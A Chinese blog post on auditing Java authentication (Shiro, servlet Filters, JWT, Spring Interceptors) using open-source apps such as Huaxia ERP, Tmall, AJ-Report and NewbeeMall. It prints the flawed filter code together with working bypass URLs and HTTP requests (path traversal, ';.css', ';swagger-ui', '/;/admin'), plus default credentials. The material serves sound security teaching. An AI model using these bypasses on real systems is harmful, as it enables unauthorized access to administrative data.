Featured image of post Java代码审计之权限绕过

Java代码审计之权限绕过

Java代码审计之权限绕过

Java代码审计&鉴权漏洞&Interceptor&Filter&Shiro&JWT_java鉴权-CSDN博客

Java开发中目前主流鉴权技术

Interceptor是一种拦截器,也称之为拦截器链(Interceptor Chain),主要用于拦截请求、响应或处理过程中的某些事件,比如权限认证、日志记录、性能测试等。在 Java 中,Interceptor可以用来扩展框架,增加或修改某个方法的行为,或者对应用流程做些前置处理、后置处理、环绕处理等。

Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

Shiro/Spring Security/CAS等鉴权框架是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

JWT(JSON Web Token),将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。

使用Spring Cloud Gateway API网关

如何审计此类身份验证未授权访问漏洞?

项目采用哪种技术来做身份验证,从配置文件,依赖文件和关键字进行搜索

1.传统代码验证

维熵租车系统数据库

下载目标源码,部署数据库服务,使用Tomcat启动,注意Tomcat版本不能太高,最好在10以下

1
2
3
http://localhost:8080/opencarrun/
http://localhost:8080/opencarrun/admin/login   
(默认账号adimin   默认密码zft3285497)

2.使用Shiro框架验证

https://github.com/TyCoding/tumo

加载项目,查看项目架构,查看引入的依赖,发现使用了Shiro框架,查看Shiro的配置文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Shiro配置文件
即用户登录后如果 1 小时内没有操作会话自动失效需要重新登录
tumo.shiro.session_timeout=3600         //session会话超时
tumo.shiro.cookie_timeout=86400         //Cookie有效期
//这些 URL 不需要登录 即可访问,通常用于 登录页、静态资源、公共页面 等。
tumo.shiro.anon_url=\                   //匿名访问URL
  /login,/logout,/register,\
  /,/about,/p/**,/links,/comment/**,/link/list,/article/list,\
  /css/**,/js/**,/img/**
tumo.shiro.login_url=/login             //登录登场出URL
tumo.shiro.success_url=/system          
tumo.shiro.logout_url=/logout
//设置 加密密钥,用于 密码加密、Cookie 加密等。
tumo.shiro.cipher_key=tycoding

/** 匹配任意子路径 /p/** 匹配 /p/1/p/abc )。

除了会写在配置文件中,还会写在配置类中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
@Bean(name={"shiroFilter"})
ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
    ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
    bean.setSecurityManager(securityManager);
    bean.setLoginUrl("/login");
    bean.setUnauthorizedUrl("/unauth");
    LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
    map.put("/doLogin", "anon");
    map.put("/json", "anon");
    map.put("/index", "anon");
    map.put("/init", "anon");
    map.put("/getKey", "anon");
    map.put("/setKey", "anon");
    map.put("/ser", "anon");
    map.put("/**", "user");
    bean.setFilterChainDefinitionMap(map);
    return bean;
}
当用户访问 /doLogin/json/index 等列出的路径时直接允许访问不需要登录
当用户访问其他任何路径时Shiro 会检查用户是否已登录
如果未登录重定向到 /login
如果已登录但无权限如果有进一步权限配置),重定向到 /unauth

案例1.tumo未授权任意评论删除

查看源码的配置信息,发现使用了Shiro框架

查看Shiro框架的配置信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
tumo.shiro.session_timeout=3600
tumo.shiro.cookie_timeout=86400
////这些 URL 不需要登录 即可访问,通常用于 登录页、静态资源、公共页面 等。
tumo.shiro.anon_url=\
  /login,/logout,/register,\
  /,/about,/p/**,/links,/comment/**,/link/list,/article/list,\
  /css/**,/js/**,/img/**
tumo.shiro.login_url=/login
tumo.shiro.success_url=/system
tumo.shiro.logout_url=/logout
tumo.shiro.cipher_key=tycoding

找到comment路由,删除评论无需登录即可删除,存在未授权访问

3.Filter过滤器验证

3.1.华夏ERP_V2.1未授权访问漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
        initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
                      @WebInitParam(name = "filterPath",
                              value = "/user/login#/user/registerUser")})
public class LogCostFilter implements Filter {

    private static final String FILTER_PATH = "filterPath";
    private static final String IGNORED_PATH = "ignoredUrl";

    private static final List<String> ignoredList = new ArrayList<>();
    private String[] allowUrls;
    private String[] ignoredUrls;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        String filterPath = filterConfig.getInitParameter(FILTER_PATH);
        if (!StringUtils.isEmpty(filterPath)) {
            allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
        }

        String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
        if (!StringUtils.isEmpty(ignoredPath)) {
            ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
            for (String ignoredUrl : ignoredUrls) {
                ignoredList.add(ignoredUrl);
            }
        }
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest servletRequest = (HttpServletRequest) request;
        HttpServletResponse servletResponse = (HttpServletResponse) response;
        String requestUrl = servletRequest.getRequestURI();
        //具体,比如:处理若用户未登录,则跳转到登录页
        //检查用户是否已登录(通过 HttpSession 中的 user 属性)。
        Object userInfo = servletRequest.getSession().getAttribute("user");
        if(userInfo!=null) { //如果已登录,不阻止
            chain.doFilter(request, response);
            return;
        }
        //允许特定 URL 直接访问(如登录页 /login.html 和注册页 /register.html)。
        if (requestUrl != null && (requestUrl.contains("/login.html") || requestUrl.contains("/register.html"))) {
            chain.doFilter(request, response);
            return;
        }
        //允许忽略的 URL(通过 verify(ignoredList, requestUrl) 检查)。
        //以这些后缀开头的".css#.js#.jpg#.png#.gif#.ico"
        if (verify(ignoredList, requestUrl)) {
            chain.doFilter(servletRequest, response);
            return;
        }
        if (null != allowUrls && allowUrls.length > 0) {
            for (String url : allowUrls) {
                if (requestUrl.startsWith(url)) {
                    chain.doFilter(request, response);
                    return;
                }
            }
        }
        servletResponse.sendRedirect("/login.html");
    }

    private static String regexPrefix = "^.*";
    private static String regexSuffix = ".*$";

    private static boolean verify(List<String> ignoredList, String url) {
        for (String regex : ignoredList) {
            Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
            Matcher matcher = pattern.matcher(url);
            if (matcher.matches()) {
                return true;
            }
        }
        return false;
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /pages/materials/retail_back_list.html HTTP/1.1
Host: 192.168.165.252:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=CD52CD7428A42875A7C0E65F6184357A; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1748439476; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1748439476; HMACCOUNT=8F61B5143A53B06F
Upgrade-Insecure-Requests: 1
Priority: u=0, i

正常访问retail_back_list.html直接按照过滤器逻辑跳转到302登录页面

但是刚刚可以看到过滤器存在绕过方式,就是当访问文件后缀为.css/.js/.jpg/.png/.gif/.ico开头时,过滤器会不进行校验,所以可以构造路径进行绕过

1
2
3
4
http://192.168.165.252:8080/a.css/../pages/materials/retail_back_list.html

//这个匹配规则是只要匹配到了后缀名关键字则直接绕过
http://192.168.165.252:8080/a.jpggg/../pages/materials/retail_back_list.html

3.2.Tmall商城系统鉴权漏洞

pom文件没有Shiro/Spring Security/JWT等依赖,那么网站鉴权应该就可能是过滤器进行验证

从filter代码中也得到了验证,管理员权限使用Filter代码进行校验

看核心doFilter中的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    HttpServletRequest servletRequest = (HttpServletRequest) request;
    //如果是(登录界面,登录态失效界面),直接放行
    if(servletRequest.getRequestURI().contains("/admin/login") ||
            servletRequest.getRequestURI().contains("/admin/account")
    ){
        chain.doFilter(request, response);
    } else {
        logger.info("检查管理员权限");
        Object o = servletRequest.getSession().getAttribute("adminId");
        if(o == null){
            logger.info("无管理权限,返回管理员登陆页");
            request.getRequestDispatcher("/admin/login").forward(request, response);
        } else {
            logger.info("权限验证成功,管理员ID:{}",o);
            chain.doFilter(request, response);
        }
    }
}

doFilter方法:

**这是过滤器的核心方法,处理每个请求: **

  • 首先将 ServletRequest 转换为 HttpServletRequest,以便访问 HTTP 特定的功能。
  • 检查请求的 URI:
    • 如果请求的是 /admin/login(登录界面)或 /admin/account(登录态失效界面),直接放行(调用 chain.doFilter),允许访问。
  • 对于其他 /admin/ 下的请求:
    • 记录日志 “检查管理员权限”。
    • 从 session 中获取 adminId 属性(这是存储管理员 ID 的地方)。
    • 如果 adminId 为 null:
      • 记录日志 “无管理权限,返回管理员登陆页”。
      • 将请求转发到 /admin/login 页面,要求用户登录。
    • 如果 adminId 不为 null:
      • 记录日志 “权限验证成功,管理员ID:{}",并打印管理员 ID。
      • 调用 chain.doFilter,允许请求继续处理。

从这个doFilter的代码逻辑上看好像不存在问题,但是这个验证使用的是contains方法,那么Java中的contains方法存在什么问题呢

contains是一个简单的子字符串匹配方法,但它有以下潜在问题:

  • 路径匹配过于宽松,可能误放行
  • 无法精确匹配路径
1
2
3
4
http://192.168.0.105:8080/tmall/admin/user/1  //这个是后台获取用户信息路由

由于使用contains进行路径验证
http://192.168.0.105:8080/tmall/admin/login/../user/1  未授权获取用户信息

3.3.华夏ERP系统鉴权漏洞

https://mp.weixin.qq.com/s?__biz=MzkwNTQxNDc1MQ==&mid=2247485207&idx=1&sn=317cd9288fe62b72df845ee548a773f7&chksm=c1cba804b2c7fdcd35c051ef6e889c5861dd73629e68deb22cf1a7c713b05f647414fc3b31c9#rd

查看pom.xml依赖文件,不存在shiro框架,Spring Security框架,没有使用JWT,应该就只能使用Filter进行权限校验

查看过滤器中的doFilter方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest servletRequest = (HttpServletRequest) request;
        HttpServletResponse servletResponse = (HttpServletResponse) response;
        String requestUrl = servletRequest.getRequestURI();
        //具体,比如:处理若用户未登录,则跳转到登录页
        Object userInfo = servletRequest.getSession().getAttribute("user");
        if(userInfo!=null) { //如果已登录,不阻止
            chain.doFilter(request, response);
            return;
        }
        if (requestUrl != null && (requestUrl.contains("/login.html") || requestUrl.contains("/register.html"))) {
            chain.doFilter(request, response);
            return;
        }
        if (verify(ignoredList, requestUrl)) {
            chain.doFilter(servletRequest, response);
            return;
        }
        if (null != allowUrls && allowUrls.length > 0) {
            for (String url : allowUrls) {
                if (requestUrl.startsWith(url)) {
                    chain.doFilter(request, response);
                    return;
                }
            }
        }
        servletResponse.sendRedirect("/login.html");
    }

Filter鉴权代码核心逻辑

  • 登录状态检查
  • 若用户已登录(session 中存在 user 属性),则直接放行请求12。
  • **若用户未登录,则进一步判断请求的 URL 是否属于以下允许范围: **
    • 登录/注册页面/login.html/register.html,允许访问以进行身份认证5。
    • 静态资源:通过 ignoredUrl 参数配置(如 .css, .js, 图片等),避免对静态文件进行权限拦截5。
    • 特定允许路径:通过 filterPath 参数配置(如 /user/login, /user/registerUser),可能用于开放某些接口或页面的访问权限5。
  • 未授权请求处理
  • 若请求不满足上述条件,则重定向至 /login.html,强制用户登录5。

华夏ERP的鉴权和Tmall商城系统鉴权一样,都是采用Filter进行鉴权,并且都使用了存在问题的函数contains

第一处:如果请求url中包含/login.html或者register.html,那么就直接放行

1
2
3
4
5
6
7
8
9
GET /login.html/../user/getUserList?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D&currentPage=1&pageSize=15 HTTP/1.1
Host: 192.168.165.252:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.165.252:8082/pages/manage/user.html

除了这个contains代码片段存在问题,Filter类上的注解也存在安全问题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
        initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
                      @WebInitParam(name = "filterPath",
                              value = "/user/login#/user/registerUser")})
public class LogCostFilter implements Filter {

    private static final String FILTER_PATH = "filterPath";
    private static final String IGNORED_PATH = "ignoredUrl";

    private static final List<String> ignoredList = new ArrayList<>();
    private String[] allowUrls;
    private String[] ignoredUrls;

第二处:ignoredUrl表示不走过滤器的url,值为当请求url中存在后缀名为.css#.js#.jpg#.png#.gif#.ico这些文件后缀,那么直接放行

1
2
3
http://192.168.165.252:8082/1.jpg/../user/getUserList?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D&currentPage=1&pageSize=15

http://192.168.165.252:8082/user/getUserList;.css?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D&currentPage=1&pageSize=15

使用;.css或者/1.jpg/../进行绕过

第三处:filterPath**特定允许路径:通过 **filterPath 参数配置(如 /user/login, /user/registerUser),可能用于开放某些接口或页面的访问权限。

1
2
3
4
5
6
7
8
9
GET /user/login/../getUserList?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D&currentPage=1&pageSize=15 HTTP/1.1
Host: 192.168.165.252:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.165.252:8082/pages/manage/user.html

3.4.AJ-Report鉴权漏洞(CNVD-2024-15077)

查看pom.xml文件发现没有使用鉴权框架,也没有使用JWT,从代码中可以看到使用了Filter过滤器做鉴权

从代码中可以看到swagger相关的直接放行,并且使用了contains这个函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    HttpServletRequest request = (HttpServletRequest) servletRequest;
    HttpServletResponse response = (HttpServletResponse) servletResponse;
    String uri = request.getRequestURI();

    // TODO 暂时先不校验 直接放行
    /*if (true) {
            filterChain.doFilter(request, response);
            return;
        }*/

    //OPTIONS直接放行
    if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {
        filterChain.doFilter(request, response);
        return;
    }

    // swagger相关的直接放行
    if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {
        filterChain.doFilter(request, response);
        return;
    }


    if (SLASH.equals(uri) || SLASH.concat(BusinessConstant.SLASH).equals(uri)) {
        if (BusinessConstant.SLASH.equals(uri)) {
            response.sendRedirect("/index.html");
            return;
        }
        response.sendRedirect(SLASH + "/index.html");
        return;
    }

    // 不需要token验证和权限验证的url,直接放行
    boolean skipAuthenticate = skipAuthenticatePattern.matcher(uri).matches();
    if (skipAuthenticate) {
        filterChain.doFilter(request, response);
        return;
    }
    //获取token
    String token = request.getHeader("Authorization");
    //针对大屏分享,优先处理
    String shareToken = request.getHeader("Share-Token");

    if (StringUtils.isBlank(token) && StringUtils.isBlank(shareToken)) {
        error(response);
        return;
    }
    // 判断token是否过期
    String loginName;
    try {
        loginName = jwtBean.getUsername(token);
    } catch (Exception e) {
        loginName = "";
    }
    String tokenKey = String.format(BusinessConstant.GAEA_SECURITY_LOGIN_TOKEN, loginName);
    String userKey = String.format(BusinessConstant.GAEA_SECURITY_LOGIN_USER, loginName);
    if (!cacheHelper.exist(tokenKey)) {
        //代表token过期
        if (StringUtils.isNotBlank(shareToken)) {
            //需要处理
            //  /reportDashboard/getData
            //  /reportDashboard/{reportCode}
            //  /reportExcel/preview
            List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
            if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains)) {
                ResponseBean responseBean = ResponseBean.builder().code("50014")
                .message("分享链接已过期").build();
                response.getWriter().print(JSONObject.toJSONString(responseBean));
                return;
            }
            filterChain.doFilter(request, response);
            return;
        }
        error(response);
        return;
        }
        String gaeaUserJsonStr = cacheHelper.stringGet(userKey);
        // 判断用户是否有该url的权限
        if (!BusinessConstant.USER_ADMIN.equals(loginName)) {
            AtomicBoolean authorizeFlag = authorize(request, gaeaUserJsonStr);
            if (!authorizeFlag.get()) {
                authError(response);//无权限
                return;
            }
        }
        // 延长有效期
        cacheHelper.stringSetExpire(tokenKey, token, 3600);
        cacheHelper.stringSetExpire(userKey, gaeaUserJsonStr, 3600);
        //执行
        filterChain.doFilter(request, response);
    }

那么只需要在url中构造处;swagger-ui即可进行绕过

1
2
3
4
5
6
7
8
GET /accessUser/pageList;swagger-ui?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: 192.168.165.252:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.165.252:9095/index.html

4.JWT权限校验问题

JWT产生的问题有以下几种

  • 1.生成JWT时使用空加密
  • 2.服务端未校验签名
  • 3.密钥默认未被修改
  • 4.密钥过于简单可被爆破

4.1.Fastcms-JWT密钥泄露

先查看pom.xml文件,发现网站使用JWT

可以看到登录成功后,发现返回吧返回JWT令牌

既然使用了JWT技术,那么最重要的就是查看密钥是否硬编码在代码中,查看配置文件

5.Interceptor鉴权审计

JAVA 鉴权审计分析

概念:是一种动态拦截方法调用的机制,类似于过滤器。Spring框架中提供的,用来动态拦截控制器方法的执行。

作用:拦截请求,在指定的方法调用前店,根据业务需要执行预先设定的代码。

拦截器Interceptor审计和过滤器Filter差不多,拦截器也是需要实现3个方法preHandle,postHandle,afterCompletion

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package cn.edu.interceptor;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

//ctrl+o重写需要的方法
@Component
public class loginCheckInterceptor implements HandlerInterceptor {
    @Override
    //目标资源方法运行前运行,返回true,放行
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle...");
        return true;    //记得返回true,否则什么操作也干不了
    }

    @Override
    //目标资源方法运行后运行,返回true,放行
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle...");
    }

    @Override
    //视图渲染完毕运行,最后运行
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion...");
    }
}

preHandle在controller方法运行前执行所已进行校验时需要将方法写在preHandle中
postHandle&afterCompletion在controller方法运行后执行

拦截器执行流程

5.1.NewbeeMall电商系统

先查看pom.xml文件,没有使用专业的权限校验框架,也没有使用Filter过滤器,使用Interceptor拦截器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object o) throws Exception {
        String requestServletPath = request.getServletPath();
        if (requestServletPath.startsWith("/admin") && null == request.getSession().getAttribute("loginUser")) {
            request.getSession().setAttribute("errorMsg", "请登陆");
            response.sendRedirect(request.getContextPath() + "/admin/login");
            return false;
        } else {
            request.getSession().removeAttribute("errorMsg");
            return true;
        }
    }
  • 代码功能:在请求到达 Controller 前执行,验证用户是否已登录。
  • 逻辑流程
  1. 路径匹配:检查请求路径是否以 /admin 开头(后台管理路径)。
  2. 会话验证:通过 request.getSession().getAttribute("loginUser") 判断用户是否已登录(loginUser 存储用户会话信息)。
  3. 未登录处理
    • 设置错误信息到 Session:request.getSession().setAttribute("errorMsg", "请登陆")
    • 重定向到登录页:response.sendRedirect(...)
    • 返回 false,中断后续处理流程。
  4. 已登录处理:清除错误信息(removeAttribute("errorMsg")),返回 true,放行请求。

漏洞利用

由于 Session 无法伪造,那么可以从 URI 入手,试想若构造一个不以 /admin 开头的 URI,那不就可以放行了吗?于是构造 URI 为 /;/admin//admin(不影响解析)成功绕过 Interceptor 进入后台。

By Lsec
最后更新于 Sep 26, 2025 22:59 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ